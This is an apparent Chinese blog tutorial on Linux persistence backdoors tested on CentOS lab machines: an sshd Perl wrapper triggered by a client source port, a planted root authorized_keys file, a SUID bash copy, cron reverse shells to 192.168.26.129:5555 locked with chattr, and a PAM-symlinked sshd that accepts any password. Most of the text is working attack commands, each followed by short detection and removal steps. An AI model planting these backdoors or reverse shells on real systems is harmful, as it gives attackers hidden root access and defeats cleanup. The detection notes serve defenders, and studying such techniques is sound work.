这篇文章上次修改于 705 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

0x01 SSH wrapper

1.1 简介

首先启动的是/usr/sbin/sshd,脚本执行到 getpeername 这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始 sshd。原始的 sshd 监听端口建立了 tcp 连接后,会 fork 一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername 能真的获取到客户端的 TCP 源端口,如果是13377就执行 sh 给个 shell。

简单点就是从 sshd fork 出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。而且没有开放额外的端口,只要对方开了 SSH 服务,就能远程连接

1.2 实验环境

  • CentOS 7.9 x64

1.3 利用方法

在目标服务器上执行以下命令

cd /usr/sbin/
mv sshd /usr/bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd

再用以下命令进行连接

socat STDIO TCP4:192.168.26.139:22,sourceport=13377

如果想修改源端口,可以用 python2 的 struct 标准库实现。其中 'x00x004A' 是13377的大端形式,便于传输和处理。

>>> import struct
>>> buffer = struct.pack('>I6',13377)
>>> print repr(buffer)
'\x00\x004A'
>>> print buffer
  4A

1.4 检测及清除

直接查看/usr/sbin/sshd文件内容是否正常

清除后门

rm -rf /usr/sbin/sshd
mv /usr/bin/sshd /usr/sbin/

1.5 参考

第4篇:Linux权限维持--后门篇

Linux SSH Backdoor分析排查

0x02 SSH 公钥

2.1 简介

Suid shell 是一种可用于以拥有者权限运行的 shell。

2.2 实验环境

  • CentOS 7.9 x64

2.3 利用方法

先用 xshell 软件来生成公钥和私钥

工具—>新建用户密钥生成导向

下一步

下一步

输入名称和密码,然后下一步

保存公钥,然后完成

将公钥命名为 authorized_keys,并且上传到目标服务器的/root/.ssh/目录,然后再用 xshell 以 Public Key 方法进行连接,注意,用户名这要填 authorized_keys 文件所在目录的用户

2.4 检测及清除

排查用户 .ssh 目录下是否有恶意公钥文件,删除恶意的公钥文件

2.5 参考

第4篇:Linux权限维持--后门篇

0x03 suidshell

3.1 简介

Suid shell 是一种可用于以拥有者权限运行的 shell。

3.2 实验环境

  • CentOS 7.9 x64

3.3 利用方法

使用以下命令创建 shell

cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

此时以普通用户登录,使用命令/tmp/shell -p获得 shell,经过测试,此时已获得 root 权限

3.4 检测及清除

# 在Linux中查找SUID设置的文件
find / -perm /4000 
# 在Linux中查找使用SGID设置的文件
find / -perm /2000
# 删除后门程序
rm -rf /tmp/shell

3.5 参考

第4篇:Linux权限维持--后门篇

0x04 定时任务

4.1 简介

利用定时任务定时反弹 shell

4.2 实验环境

  • CentOS 7.9 x64

4.3 利用方法

CentOS 定时任务文件有两个,一个是/var/spool/cron目录下,与用户名同名的文件,一个是/etc/crontab文件

# 向 /var/spool/cron/root 文件写入定时任务
echo '*/1 * * * * bash -i >& /dev/tcp/192.168.26.129/5555 0>&1' >/var/spool/cron/root
# 锁定 /var/spool/cron/root 文件,锁定以后,需要解锁才能删除,这可能会令一些新手感到头疼
chattr +i /var/spool/cron/root
# 解锁
chattr -i /var/spool/cron/root
# 向 /etc/crontab 文件写入定时任务
echo '*/1 * * * * root bash -i >& /dev/tcp/192.168.26.129/5555 0>&1' >/etc/crontab

收到反弹 shell

4.4 检测及清除

排查/var/spool/cron目录与/etc/crontab文件,删除恶意的定时任务

4.5 参考

第4篇:Linux权限维持--后门篇

/etc/crontab文件和crontab -e命令区别

0x05 SSH 软链接

5.1 简介

在 sshd 服务配置运行 PAM 认证的前提下,PAM 配置文件中控制标志为 sufficient 时只要 pam_rootok 模块检测 uid 为 0 即 root 权限即可成功认证登陆。通过软连接的方式,实质上 PAM 认证是通过软连接的文件名 /tmp/su/etc/pam.d/目录下寻找对应的 PAM 配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要 PAM 配置文件中包含此配置即可 SSH 任意密码登陆。

5.2 实验环境

  • CentOS 7.9 x64

5.3 利用方法

使用以下命令查找符合条件的对象(经过测试,config-util、chfn、chsh、su 是可以利用的)

find /etc/pam.d/ |xargs grep "pam_rootok"

再用以下命令进行软连接

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345

这里需要注意你绑定的端口是否开放,没开放的话则需要开放,以下是 CentOS 的开放命令

# 查看防火墙状态
firewall-cmd --state
# 开启防火墙
systemctl start firewalld
# 关闭防火墙
systemctl stop firewalld
# 开放端口
firewall-cmd --permanent --zone=public --add-port=12345/tcp
# 重启防火墙
firewall-cmd --reload
# 查看开放的端口
firewall-cmd --list-ports

然后再用以下命令进行 ssh 连接,要注意的是密码不能为空,输入任意密码即可

ssh root@192.168.26.139 -p 12345

如果被控主机不允许 root 登陆可用其他已存在用户登陆

5.4 检测及清除

查看开放端口信息

netstat -naop

通过开放端口信息的 PID 查询进程路径

ll /proc/1308

清除后门

# 清除进程
kill -9 pid
# 清除后门程序
rm -rf 后门程序

5.5 参考

Linux的一个后门引发对PAM的探究

Linux软连接ssh后门之我见

Linux SSH Backdoor分析排查